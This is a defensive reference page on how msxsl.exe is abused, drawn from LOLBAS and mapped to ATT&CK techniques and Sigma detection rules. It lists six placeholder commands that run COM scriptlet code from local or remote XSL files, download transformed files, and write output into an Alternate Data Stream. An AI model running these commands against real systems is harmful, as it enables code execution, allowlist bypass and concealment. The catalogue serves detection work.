Identifier / Programs / Windows
msxsl.exe
LOLBAS Execute, AWL Bypass, Download, ADS 6 Sigma rules name it 3 ATT&CK techniques 6 documented commands
How msxsl.exe is abused
Execute T1220 XSL Script Processing
AWL Bypass T1220 XSL Script Processing
Download T1105 Ingress Tool Transfer
-oADS T1564 Hide Artifacts
-oEach abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for msxsl.exe.
6 documented commands
Execute T1220 XSL Script Processing User privileges
Run COM Scriptlet code within the script.xsl file (local).
msxsl.exe {PATH:.xml} {PATH:.xsl}Trips 1 Sigma rule: mediumMsxsl.EXE Execution by Timur Zinniatullin, oscd.community
AWL Bypass T1220 XSL Script Processing User privileges
Run COM Scriptlet code within the script.xsl file (local).
msxsl.exe {PATH:.xml} {PATH:.xsl}Trips 1 Sigma rule: mediumMsxsl.EXE Execution by Timur Zinniatullin, oscd.community
Execute T1220 XSL Script Processing User privileges
Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).
msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl}Trips 2 Sigma rules: highRemote XSL Execution Via Msxsl.EXE by Swachchhanda Shrawan Poudel; mediumMsxsl.EXE Execution by Timur Zinniatullin, oscd.community
AWL Bypass T1220 XSL Script Processing User privileges
Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).
msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xml}Trips 2 Sigma rules: highRemote XSL Execution Via Msxsl.EXE by Swachchhanda Shrawan Poudel; mediumMsxsl.EXE Execution by Timur Zinniatullin, oscd.community
Download T1105 Ingress Tool Transfer User privileges
Using remote XML and XSL files, save the transformed XML file to disk.
msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}Trips 2 Sigma rules: highRemote XSL Execution Via Msxsl.EXE by Swachchhanda Shrawan Poudel; mediumMsxsl.EXE Execution by Timur Zinniatullin, oscd.community
ADS T1564 Hide Artifacts User privileges
Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS).
msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}:ads-nameTrips 2 Sigma rules: highRemote XSL Execution Via Msxsl.EXE by Swachchhanda Shrawan Poudel; mediumMsxsl.EXE Execution by Timur Zinniatullin, oscd.community
All 6 commands the identifier reads trip a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for msxsl.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for msxsl.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.